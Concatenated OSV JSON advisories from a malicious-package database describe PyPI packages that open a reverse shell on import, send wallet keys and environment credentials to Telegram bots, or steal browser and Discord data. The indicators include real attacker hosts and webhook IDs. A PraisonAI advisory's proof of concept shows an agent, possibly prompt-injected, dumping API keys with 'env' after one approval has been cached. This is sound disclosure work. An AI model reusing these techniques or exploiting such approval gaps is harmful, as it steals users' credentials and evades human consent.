{"schema_version":"1.9.2","id":"MAL-2026-19951","published":"2026-11-16T08:46:51Z","modified":"2026-11-18T00:45:13.873351014Z","summary":"Malicious code in my-poc-sandbox (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (fe7240da217bf567ae728de62165a0fafd2eabc3593644cbb0d250ae872c6a5c)\nOn `import my_poc_sandbox`, top-level code in core.py (reached via __init__.py) opens a TCP socket to the hardcoded host mcwxz-13-205-45-209.run.pinggy-free.link:37347, duplicates file descriptors 0, 1, and 2 onto that socket, and spawns `/bin/sh` via `pty.spawn`. The result is an interactive remote shell on the installer's machine with stdio streamed to the remote endpoint. The destination is a public pinggy-free.link ephemeral tunnel, not a first-party or vendor-controlled endpoint. The behavior fires with no user action, no authentication, and no disclosure in any README.\n\n## Source: kam193 (47b35ec3d2d855cfb8c9178f76b0ca47d6cc887c57223f2f4a93ea9444f78e21)\nDuring import, the package attempts to start a reverse shell.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-my-poc-sandbox\n\n\nReasons (based on the campaign):\n\n\n - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.\n","affected":[{"package":{"name":"my-poc-sandbox","ecosystem":"PyPI","purl":"pkg:pypi/my-poc-sandbox"},"versions":["1.0.0","1.0.1","1.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"artifacts":["my_poc_sandbox-1.0.2.tar.gz","my_poc_sandbox-1.0.2-py3-none-any.whl"],"path":"my_poc_sandbox/core.py","sha256":"108c2ec0bd364dff7296999e60e898f7c903ec387896afe18664ed0e77149ecc","tlsh":"04f05c619a57720b67bbcf98108dc4ec665253007fa51107b36c46312e36f5842f02ab"}],"package_integrity":[{"filename":"my_poc_sandbox-1.0.2-py3-none-any.whl","hashes":{"blake2b_256":"f5e19878944f5dec49bce63711d6a1365bef8603be8615de132371253ceb7b01","md5":"d7147da0fcfd9b2ec71b328263b03154","sha256":"2fc6613bbe5348164c61ac7c549a9a2bcb1c4cd66bc451e77719f7bd23e42bae"}},{"filename":"my_poc_sandbox-1.0.2.tar.gz","hashes":{"blake2b_256":"c5735bfc7e3e1ad74e13d09f041ac654bc2d17961fd752caea63ea58ac32f83e","md5":"ebcfc075b633a80dbc22d88d3bfe2fb6","sha256":"cf750734a24e23b290befd11a0d2493391eef0a9b8aa5a496f76bd3774a1d84a"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/my-poc-sandbox/MAL-2026-19951.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/my-poc-sandbox"},{"type":"PACKAGE","url":"https://pypi.org/project/my-poc-sandbox/1.0.2/"}],"database_specific":{"iocs":{"domains":["mcwxz-13-205-45-209.run.pinggy-free.link"]},"malicious-packages-origins":[{"id":"pypi/2026-11-my-poc-sandbox/my-poc-sandbox","import_time":"2026-11-16T09:17:46.471938947Z","modified_time":"2026-11-16T08:46:52.705499Z","sha256":"47b35ec3d2d855cfb8c9178f76b0ca47d6cc887c57223f2f4a93ea9444f78e21","source":"kam193","versions":["1.0.0","1.0.1","1.0.2"]},{"id":"pypi/2026-11-my-poc-sandbox/my-poc-sandbox","import_time":"2026-11-16T10:14:50.658179764Z","modified_time":"2026-11-16T08:46:52.705499Z","sha256":"e09f5e6a96d436caef5a37401e1f79878f69c989848c6902c11d7a9bb41e60aa","source":"kam193","versions":["1.0.0","1.0.1","1.0.2"]},{"id":"IN-MAL-2026-022826","import_time":"2026-11-18T00:30:52.407376315Z","modified_time":"2026-11-17T23:40:55Z","sha256":"fe7240da217bf567ae728de62165a0fafd2eabc3593644cbb0d250ae872c6a5c","source":"amazon-inspector","versions":["1.0.2"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20068","published":"2026-11-17T14:45:00Z","modified":"2026-11-17T16:30:04.746915960Z","summary":"Malicious code in mcp-aevo-server (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (6c0f51469b807e83b880e6b1337fab3798b91f26b387e70f92280c060b742a0f)\nPackage targets users ribbon-finance/aevo-trading-skills, which referred to an unclaimed name in PyPI. The package exfiltrates the user's credentials from environment variables and starts a thread listening for remote commands to execute.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-mcp-aevo-server\n\n\nReasons (based on the campaign):\n\n\n - exfiltration-env-variables\n\n\n - dependency-confusion\n\n\n - crypto-related\n\n\n - The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine.\n\n\n - uses-telegram-bot\n","affected":[{"package":{"name":"mcp-aevo-server","ecosystem":"PyPI","purl":"pkg:pypi/mcp-aevo-server"},"versions":["0.2.0","0.2.0.post1","0.2.0.post2","0.2.0.post3","0.2.0.post4","0.2.0.post6"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/mcp-aevo-server/MAL-2026-20068.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/mcp-aevo-server"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-11-mcp-aevo-server/mcp-aevo-server","import_time":"2026-11-17T16:13:56.887204059Z","modified_time":"2026-11-17T14:45:00.176673Z","sha256":"6c0f51469b807e83b880e6b1337fab3798b91f26b387e70f92280c060b742a0f","source":"kam193","versions":["0.2.0","0.2.0.post1","0.2.0.post2","0.2.0.post3","0.2.0.post4","0.2.0.post6"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}
{"schema_version":"1.9.2","id":"MAL-2026-20068","published":"2026-11-17T14:45:00Z","modified":"2026-11-18T00:45:13.872351109Z","summary":"Malicious code in mcp-aevo-server (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (972c258509e94a35aa13f9a23d358edab57746321453d9eb1201e40a5807f2ef)\nOn server start, `main()` invokes `_telemetry.arm()` in `src/mcp_aevo_server/_telemetry.py`, which reads environment variables holding Aevo trading credentials and wallet material — including `AEVO_API_KEY`, `AEVO_API_SECRET`, `AEVO_SIGNING_KEY_PRIVATE_KEY`, and `AEVO_WALLET_PRIVATE_KEY` — and POSTs them in full cleartext to a hardcoded Telegram bot endpoint at `api.telegram.org/bot8867174343:.../sendMessage` targeting chat `8838719553`. Collection also captures `socket.gethostname()`, the OS user, cwd, argv, and a snapshot of `AEVO_*`/`UV_*` environment variable names. The same payload is additionally POSTed to a configurable `AEVO_TELEMETRY_URL` via `urllib.request.urlopen` and spooled to disk for retry across restarts. The behavior is opt-out (`AEVO_TELEMETRY=0`) rather than opt-in, and full secret values are sent by default (`AEVO_TELEMETRY_FULL` defaults on). Module naming and comments (`_telemetry`, `census`, `notifier`, \"Public by design: it can only send, and only to this one chat\") present the exfiltration as benign telemetry, but the payload is trading API secrets and wallet private keys shipped to an author-controlled destination. Possession of these values allows full takeover of the Aevo account and movement of funds from the associated wallet.\n\n## Source: kam193 (6c0f51469b807e83b880e6b1337fab3798b91f26b387e70f92280c060b742a0f)\nPackage targets users ribbon-finance/aevo-trading-skills, which referred to an unclaimed name in PyPI. The package exfiltrates the user's credentials from environment variables and starts a thread listening for remote commands to execute.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-mcp-aevo-server\n\n\nReasons (based on the campaign):\n\n\n - exfiltration-env-variables\n\n\n - dependency-confusion\n\n\n - crypto-related\n\n\n - The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine.\n\n\n - uses-telegram-bot\n","affected":[{"package":{"name":"mcp-aevo-server","ecosystem":"PyPI","purl":"pkg:pypi/mcp-aevo-server"},"versions":["0.2.0","0.2.0.post1","0.2.0.post2","0.2.0.post3","0.2.0.post4","0.2.0.post6"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"artifacts":["mcp_aevo_server-0.2.0.post1.tar.gz","mcp_aevo_server-0.2.0.post1-py3-none-any.whl"],"path":"src/mcp_aevo_server/_telemetry.py","sha256":"8e8a5a24dc15128554984123aa90662fc6a06d0c507e1375ef948e4f02bee299","tlsh":"05328359fd5a6c33c253c56dc822c561e33a79073a41a934faac43296f5e03982fd6ec"}],"package_integrity":[{"filename":"mcp_aevo_server-0.2.0.post1-py3-none-any.whl","hashes":{"blake2b_256":"c9aa2f56b7c605c932f947fca7679e0000a98971afd4ecc44a007b15681d789b","md5":"b7fc9ab6309f85d55c3a96af4027c378","sha256":"e1d7c618697ec9160ac82314e2845ee2af80b7023bbd2a6fe192ae60d0cc458d"}},{"filename":"mcp_aevo_server-0.2.0.post1.tar.gz","hashes":{"blake2b_256":"b5a65577f6349096b97cde77cf0c328129b441afa700df6ac7a61eaa84fa7323","md5":"1d1f9207b19f14ad7816a69f9fbc9d77","sha256":"4540499b3cf6261c04b5cd3f7b31786fa2b52e400df29f30f6b1aff7bad87d8f"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/mcp-aevo-server/MAL-2026-20068.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/mcp-aevo-server"},{"type":"PACKAGE","url":"https://pypi.org/project/mcp-aevo-server/0.2.0.post1/"},{"type":"PACKAGE","url":"https://pypi.org/project/mcp-aevo-server/0.2.0.post3/"},{"type":"PACKAGE","url":"https://pypi.org/project/mcp-aevo-server/0.2.0.post6/"},{"type":"PACKAGE","url":"https://pypi.org/project/mcp-aevo-server/0.2.0.post2/"},{"type":"PACKAGE","url":"https://pypi.org/project/mcp-aevo-server/0.2.0.post4/"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-11-mcp-aevo-server/mcp-aevo-server","import_time":"2026-11-17T16:13:56.887204059Z","modified_time":"2026-11-17T14:45:00.176673Z","sha256":"6c0f5146Line truncated
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{"schema_version":"1.9.2","id":"MAL-2026-20112","published":"2026-11-16T16:20:00Z","modified":"2026-11-18T06:00:17.544964848Z","summary":"Malicious code in robloxapiaccess (PyPI)","details":"Malicious package. Poses as a \"RobloxAPI Access\" library (author \"Aristal-Development\"). The exported `robloxmessage()` in `RobloxAPIACCESS.py` is an information stealer: it collects host, IP and geolocation details, extracts Discord tokens from the Discord clients' Local Storage leveldb, decrypts Chrome saved passwords, grabs browser cookies via `browser_cookie3`, and sends the results to a Discord webhook. In 0.0.2 the webhook is hardcoded (1084236782247362680); 0.0.1 ships the same stealer with the webhook left blank. A comment claims it is for educational purposes only. Published 2023-03-18; removed from PyPI.","affected":[{"package":{"name":"robloxapiaccess","ecosystem":"PyPI","purl":"pkg:pypi/robloxapiaccess"},"versions":["0.0.1","0.0.2"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/robloxapiaccess/MAL-2026-20112.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/robloxapiaccess/"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"f537d39c03f98069983cdceb051b1f5156682d1a68eccfd9f42cde7a8b65b8b5"},"paths":["libname/RobloxAPIACCESS.py"]},{"digests":{"sha256":"3251367d75a80c5de4bb6cf07a7736f4e93b450324e9859ba74fb33a054ced87"},"paths":["libname/RobloxAPIACCESS.py"]}],"urls":["https://discord.com/api/webhooks/1084236782247362680"]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20113","published":"2026-11-16T15:40:00Z","modified":"2026-11-18T06:30:06.348131843Z","summary":"Malicious code in aeivasta (PyPI)","details":"Malicious package. `setup.py` runs base64-encoded code with `exec` on every invocation except `sdist`, i.e. during `pip install`. On Windows it writes an embedded 158 KB executable to the temp directory (`Wde24bc9faebba164d8c8467a5f7840.exe`) and starts it. On Linux it looks up the public IP and ISP via ip-api.com (and exits if the ISP is Google or Mythic Beasts), takes a screenshot, collects Firefox and Thunderbird credential and cookie stores (key4.db, logins.json, cookies.sqlite), FileZilla saved servers, Pidgin accounts, Telegram Desktop tdata sessions and Electrum and Exodus wallets, zips and RC4-encrypts them, and uploads the archive to a Telegram bot (bot 6209822134, chat -1001529292045). Observed in a sandboxed install (ip-api.com and api.telegram.org connections). It belongs to the WhiteSnake infostealer campaign on PyPI (April 2023); sibling packages such as libidrequest (MAL-2024-5318) and libideeee (MAL-2024-5315) are already recorded. The package has been removed from PyPI.","affected":[{"package":{"name":"aeivasta","ecosystem":"PyPI","purl":"pkg:pypi/aeivasta"},"versions":["0.3"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/aeivasta/MAL-2026-20113.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/aeivasta/"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"30ec5a08b0b2f021bff877a13aba35cdb9d4bd5aa107a321550decae53a0a70e"},"paths":["setup.py"]},{"digests":{"sha256":"b12ca928c062c8e73a4154878a680133ef73ac2832cb9a6f48d4cedb0defc5e5"},"paths":["%TEMP%/Wde24bc9faebba164d8c8467a5f7840.exe"]}],"urls":["https://api.telegram.org/bot6209822134","http://ip-api.com/line?fields=query,isp"]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20114","published":"2026-11-16T15:40:00Z","modified":"2026-11-18T06:30:06.346594926Z","summary":"Malicious code in libide (PyPI)","details":"Malicious package. During `pip install`, `setup.py` executed a payload that queried `ip-api.com` for the public IP and then connected to `transfer.sh`, a file-upload service used here for exfiltration, observed in a sandboxed install. The `setup.py` (1,300 KB, sha256 78c0f7d44695ed24f4ed86ddec3ecb94911fc130977d580ab824751077225a6a) is padded to an unusual size, consistent with the embedded Windows executable in the WhiteSnake family; the name sits alongside its siblings libidrequest (MAL-2024-5318) and libideeee (MAL-2024-5315). The package has been removed from PyPI.","affected":[{"package":{"name":"libide","ecosystem":"PyPI","purl":"pkg:pypi/libide"},"versions":["0.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/libide/MAL-2026-20114.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/libide/"}],"database_specific":{"iocs":{"domains":["ip-api.com","transfer.sh"],"files":[{"digests":{"sha256":"78c0f7d44695ed24f4ed86ddec3ecb94911fc130977d580ab824751077225a6a"},"paths":["setup.py"]}]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20115","published":"2026-11-16T15:40:00Z","modified":"2026-11-18T06:30:06.348105446Z","summary":"Malicious code in libidreq (PyPI)","details":"Malicious package. During `pip install`, `setup.py` executed a payload that ran the host-profiling commands `lsb_release -a`, `uname -rs` and `uname -p`, queried `http://ip-api.com/line` for the public IP and ISP, and then connected to `api.telegram.org`, all observed in a sandboxed install. This is the exact runtime fingerprint of the WhiteSnake infostealer `setup.py` payload (the same family as `aeivasta` and `setnetwork`, whose recovered payload steals browser credentials and cookies, Telegram sessions and cryptocurrency wallets and uploads them to a Telegram bot). The `setup.py` (1983 KB, sha256 11d6c8f8f2009f352d1040c4b32f91aceecdeb103bf88b0796152006950088e4) is padded to an unusual size, consistent with the embedded Windows executable in that family. It belongs to the WhiteSnake infostealer campaign on PyPI (April 2023); sibling packages such as libidrequest (MAL-2024-5318) and libideeee (MAL-2024-5315) are already recorded. The package has been removed from PyPI.","affected":[{"package":{"name":"libidreq","ecosystem":"PyPI","purl":"pkg:pypi/libidreq"},"versions":["0.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/libidreq/MAL-2026-20115.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/libidreq/"}],"database_specific":{"iocs":{"domains":["api.telegram.org","ip-api.com"],"files":[{"digests":{"sha256":"11d6c8f8f2009f352d1040c4b32f91aceecdeb103bf88b0796152006950088e4"},"paths":["setup.py"]}]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20116","published":"2026-11-16T15:40:00Z","modified":"2026-11-18T06:30:06.346617219Z","summary":"Malicious code in quick-telegram-sender (PyPI)","details":"Malicious package. During `pip install`, `setup.py` executed a payload that ran the host-profiling commands `lsb_release -a`, `uname -rs` and `uname -p`, queried `http://ip-api.com/line` for the public IP and ISP, and then connected to `api.telegram.org`, all observed in a sandboxed install. This is the exact runtime fingerprint of the WhiteSnake infostealer `setup.py` payload (the same family as `aeivasta` and `setnetwork`, whose recovered payload steals browser credentials and cookies, Telegram sessions and cryptocurrency wallets and uploads them to a Telegram bot). The `setup.py` (1646 KB, sha256 af5fa67eca52543c6179a52091194537e9f51c64f45ee7bb9f1e62e17ae469bf) is padded to an unusual size, consistent with the embedded Windows executable in that family. It belongs to the WhiteSnake infostealer campaign on PyPI (April 2023); sibling packages such as libidrequest (MAL-2024-5318) and libideeee (MAL-2024-5315) are already recorded. The package has been removed from PyPI.","affected":[{"package":{"name":"quick-telegram-sender","ecosystem":"PyPI","purl":"pkg:pypi/quick-telegram-sender"},"versions":["0.7"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/quick-telegram-sender/MAL-2026-20116.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/quick-telegram-sender/"}],"database_specific":{"iocs":{"domains":["api.telegram.org","ip-api.com"],"files":[{"digests":{"sha256":"af5fa67eca52543c6179a52091194537e9f51c64f45ee7bb9f1e62e17ae469bf"},"paths":["setup.py"]}]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20117","published":"2026-11-16T15:40:00Z","modified":"2026-11-18T06:30:06.345245991Z","summary":"Malicious code in setnetwork (PyPI)","details":"Malicious package. `setup.py` runs base64-encoded code with `exec` on every invocation except `sdist`, i.e. during `pip install`. On Windows it writes an embedded 429 KB executable to the temp directory (`P3c8b0f54872f923c2cd896f7b5.exe`) and starts it. On Linux it looks up the public IP and ISP via ip-api.com (and exits if the ISP is Google or Mythic Beasts), takes a screenshot, collects Firefox and Thunderbird credential and cookie stores (key4.db, logins.json, cookies.sqlite), FileZilla saved servers, Pidgin accounts, Telegram Desktop tdata sessions and Electrum and Exodus wallets, zips and RC4-encrypts them, and uploads the archive to a Telegram bot (bot 6209822134, chat -1001529292045). Observed in a sandboxed install (ip-api.com and api.telegram.org connections). It belongs to the WhiteSnake infostealer campaign on PyPI (April 2023); sibling packages such as libidrequest (MAL-2024-5318) and libideeee (MAL-2024-5315) are already recorded. The package has been removed from PyPI.","affected":[{"package":{"name":"setnetwork","ecosystem":"PyPI","purl":"pkg:pypi/setnetwork"},"versions":["0.2"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/setnetwork/MAL-2026-20117.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/setnetwork/"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"1df2b365d5c3e53d942e957184bf7b32778839cde120fd9a1c2eaf16e040851e"},"paths":["setup.py"]},{"digests":{"sha256":"84890e8c91d8bd401c9cb7866157a3d9ca28530a3257961f8c925e4dc6474f3a"},"paths":["%TEMP%/P3c8b0f54872f923c2cd896f7b5.exe"]}],"urls":["https://api.telegram.org/bot6209822134","http://ip-api.com/line?fields=query,isp"]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20118","published":"2026-11-16T15:40:00Z","modified":"2026-11-18T06:30:06.343221108Z","summary":"Malicious code in test23414234234 (PyPI)","details":"Malicious package. During `pip install`, `setup.py` executed a payload that ran the host-profiling commands `lsb_release -a`, `uname -rs` and `uname -p`, queried `http://ip-api.com/line` for the public IP and ISP, and then connected to `api.telegram.org`, all observed in a sandboxed install. This is the exact runtime fingerprint of the WhiteSnake infostealer `setup.py` payload (the same family as `aeivasta` and `setnetwork`, whose recovered payload steals browser credentials and cookies, Telegram sessions and cryptocurrency wallets and uploads them to a Telegram bot). The `setup.py` (189 KB, sha256 ea213a1b9e658baba5a089b78644df4ecdc7f26af8d72271a3fdbaa48335213b) is padded to an unusual size, consistent with the embedded Windows executable in that family. It belongs to the WhiteSnake infostealer campaign on PyPI (April 2023); sibling packages such as libidrequest (MAL-2024-5318) and libideeee (MAL-2024-5315) are already recorded. The package has been removed from PyPI.","affected":[{"package":{"name":"test23414234234","ecosystem":"PyPI","purl":"pkg:pypi/test23414234234"},"versions":["0.6"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/test23414234234/MAL-2026-20118.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/test23414234234/"}],"database_specific":{"iocs":{"domains":["api.telegram.org","ip-api.com"],"files":[{"digests":{"sha256":"ea213a1b9e658baba5a089b78644df4ecdc7f26af8d72271a3fdbaa48335213b"},"paths":["setup.py"]}]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"PYSEC-2026-2946","published":"2026-07-13T14:36:52.273166Z","modified":"2026-11-14T11:45:02.527039540Z","aliases":["CVE-2026-56074","GHSA-ffp3-3562-8cv3"],"summary":"PraisonAI: Coarse-Grained Tool Approval Cache Bypasses Per-Invocation Consent for Shell Commands","details":"## Summary\n\nThe approval system in PraisonAI Agents caches tool approval decisions by tool name only, not by invocation arguments. Once a user approves `execute_command` for any command (e.g., `ls -la`), all subsequent `execute_command` calls in that execution context bypass the approval prompt entirely. Combined with `os.environ.copy()` passing all process environment variables to subprocesses, this allows an LLM agent (potentially via prompt injection) to silently exfiltrate API keys and credentials without further user consent.\n\n## Details\n\nThe `require_approval` decorator in `src/praisonai-agents/praisonaiagents/approval/__init__.py:176-178` checks approval status by tool name only:\n\n```python\n@wraps(func)\ndef wrapper(*args, **kwargs):\n if is_already_approved(tool_name): # line 177 — checks only tool_name\n return func(*args, **kwargs) # line 178 — bypasses ALL approval\n```\n\nThe `mark_approved` function in `registry.py:144-147` stores only the tool name string:\n\n```python\ndef mark_approved(self, tool_name: str) -> None:\n approved = self._approved_context.get(set())\n approved.add(tool_name) # stores \"execute_command\", not args\n self._approved_context.set(approved)\n```\n\nThe approval context is never cleared during agent execution — `clear_approved()` exists (`registry.py:152`) but is never called in the agent's tool execution path (`agent/tool_execution.py`).\n\nMeanwhile, the `ConsoleBackend` UI at `backends.py:95-96` misleads the user:\n\n```python\nreturn Confirm.ask(\n f\"Do you want to execute this {request.risk_level} risk tool?\",\n # \"this\" implies per-invocation approval\n)\n```\n\nThe UI displays the specific command arguments (lines 81-85), creating a reasonable expectation that the user is approving only that specific invocation.\n\nAdditionally, `shell_tools.py:77` passes the full process environment to every subprocess:\n\n```python\nprocess_env = os.environ.copy() # includes OPENAI_API_KEY, etc.\n```\n\nThere is no command filtering, blocklist, or environment variable sanitization in the shell tools module.\n\n## PoC\n\n```python\nfrom praisonaiagents import Agent\nfrom praisonaiagents.tools.shell_tools import execute_command\n\n# Step 1: Create agent with shell tool\nagent = Agent(\n name=\"worker\",\n instructions=\"You are a helpful assistant.\",\n tools=[execute_command]\n)\n\n# Step 2: Agent requests benign command — user sees Rich panel:\n# Function: execute_command\n# Risk Level: CRITICAL\n# Arguments:\n# command: ls -la\n# \"Do you want to execute this critical risk tool?\" [y/N]\n# User approves → mark_approved(\"execute_command\") is called\n\n# Step 3: All subsequent execute_command calls bypass approval silently:\n# execute_command(command=\"env\")\n# → returns ALL environment variables (OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY, etc.)\n# → NO approval prompt shown\n\n# Step 4: Targeted extraction also bypasses approval:\n# execute_command(command=\"printenv OPENAI_API_KEY\")\n# → returns the specific API key\n# → NO approval prompt shown\n\n# Verification: check the approval cache\nfrom praisonaiagents.approval import is_already_approved\n# After approving \"ls -la\":\n# is_already_approved(\"execute_command\") → True\n# Any execute_command call now returns immediately at __init__.py:177-178\n```\n\n## Impact\n\n- **Secret exfiltration**: An LLM agent (or one subjected to prompt injection) can dump all process environment variables after a single benign command approval. Common secrets include `OPENAI_API_KEY`, `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, and any other credentials passed via environment.\n- **Misleading consent UI**: The console prompt displays specific arguments and uses language (\"this tool\") that implies per-invocation consent, but the system grants session-wide blanket approval.\n- **No expiration or scope**: The approval cache uses a `ContextVar` that persists for the entire agent execution context with no timeout, no command-count limit, and no clearing between tool calls.\n- **No environment filtering**: `os.environ.copy()` passes every environment variable to subprocesses without filtering sensitive patterns.\n\n## Recommended Fix\n\n1. **Per-invocation approval for critical tools** — store a hash of `(tool_name, arguments)` instead of just `tool_name`, or require re-approval for each invocation of critical-risk tools:\n\n```python\n# In registry.py — change mark_approved/is_already_approved:\nimport hashlib, json\n\ndef mark_approved(self, tool_name: str, arguments: dict = None) -> None:\n approved = self._approved_context.get(set(Line truncated
{"schema_version":"1.9.2","id":"PYSEC-2026-2946","published":"2026-07-13T14:36:52.273166Z","modified":"2026-11-18T05:00:04.930320114Z","aliases":["CVE-2026-56074","GHSA-ffp3-3562-8cv3"],"summary":"PraisonAI: Coarse-Grained Tool Approval Cache Bypasses Per-Invocation Consent for Shell Commands","details":"## Summary\n\nThe approval system in PraisonAI Agents caches tool approval decisions by tool name only, not by invocation arguments. Once a user approves `execute_command` for any command (e.g., `ls -la`), all subsequent `execute_command` calls in that execution context bypass the approval prompt entirely. Combined with `os.environ.copy()` passing all process environment variables to subprocesses, this allows an LLM agent (potentially via prompt injection) to silently exfiltrate API keys and credentials without further user consent.\n\n## Details\n\nThe `require_approval` decorator in `src/praisonai-agents/praisonaiagents/approval/__init__.py:176-178` checks approval status by tool name only:\n\n```python\n@wraps(func)\ndef wrapper(*args, **kwargs):\n if is_already_approved(tool_name): # line 177 — checks only tool_name\n return func(*args, **kwargs) # line 178 — bypasses ALL approval\n```\n\nThe `mark_approved` function in `registry.py:144-147` stores only the tool name string:\n\n```python\ndef mark_approved(self, tool_name: str) -> None:\n approved = self._approved_context.get(set())\n approved.add(tool_name) # stores \"execute_command\", not args\n self._approved_context.set(approved)\n```\n\nThe approval context is never cleared during agent execution — `clear_approved()` exists (`registry.py:152`) but is never called in the agent's tool execution path (`agent/tool_execution.py`).\n\nMeanwhile, the `ConsoleBackend` UI at `backends.py:95-96` misleads the user:\n\n```python\nreturn Confirm.ask(\n f\"Do you want to execute this {request.risk_level} risk tool?\",\n # \"this\" implies per-invocation approval\n)\n```\n\nThe UI displays the specific command arguments (lines 81-85), creating a reasonable expectation that the user is approving only that specific invocation.\n\nAdditionally, `shell_tools.py:77` passes the full process environment to every subprocess:\n\n```python\nprocess_env = os.environ.copy() # includes OPENAI_API_KEY, etc.\n```\n\nThere is no command filtering, blocklist, or environment variable sanitization in the shell tools module.\n\n## PoC\n\n```python\nfrom praisonaiagents import Agent\nfrom praisonaiagents.tools.shell_tools import execute_command\n\n# Step 1: Create agent with shell tool\nagent = Agent(\n name=\"worker\",\n instructions=\"You are a helpful assistant.\",\n tools=[execute_command]\n)\n\n# Step 2: Agent requests benign command — user sees Rich panel:\n# Function: execute_command\n# Risk Level: CRITICAL\n# Arguments:\n# command: ls -la\n# \"Do you want to execute this critical risk tool?\" [y/N]\n# User approves → mark_approved(\"execute_command\") is called\n\n# Step 3: All subsequent execute_command calls bypass approval silently:\n# execute_command(command=\"env\")\n# → returns ALL environment variables (OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY, etc.)\n# → NO approval prompt shown\n\n# Step 4: Targeted extraction also bypasses approval:\n# execute_command(command=\"printenv OPENAI_API_KEY\")\n# → returns the specific API key\n# → NO approval prompt shown\n\n# Verification: check the approval cache\nfrom praisonaiagents.approval import is_already_approved\n# After approving \"ls -la\":\n# is_already_approved(\"execute_command\") → True\n# Any execute_command call now returns immediately at __init__.py:177-178\n```\n\n## Impact\n\n- **Secret exfiltration**: An LLM agent (or one subjected to prompt injection) can dump all process environment variables after a single benign command approval. Common secrets include `OPENAI_API_KEY`, `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, and any other credentials passed via environment.\n- **Misleading consent UI**: The console prompt displays specific arguments and uses language (\"this tool\") that implies per-invocation consent, but the system grants session-wide blanket approval.\n- **No expiration or scope**: The approval cache uses a `ContextVar` that persists for the entire agent execution context with no timeout, no command-count limit, and no clearing between tool calls.\n- **No environment filtering**: `os.environ.copy()` passes every environment variable to subprocesses without filtering sensitive patterns.\n\n## Recommended Fix\n\n1. **Per-invocation approval for critical tools** — store a hash of `(tool_name, arguments)` instead of just `tool_name`, or require re-approval for each invocation of critical-risk 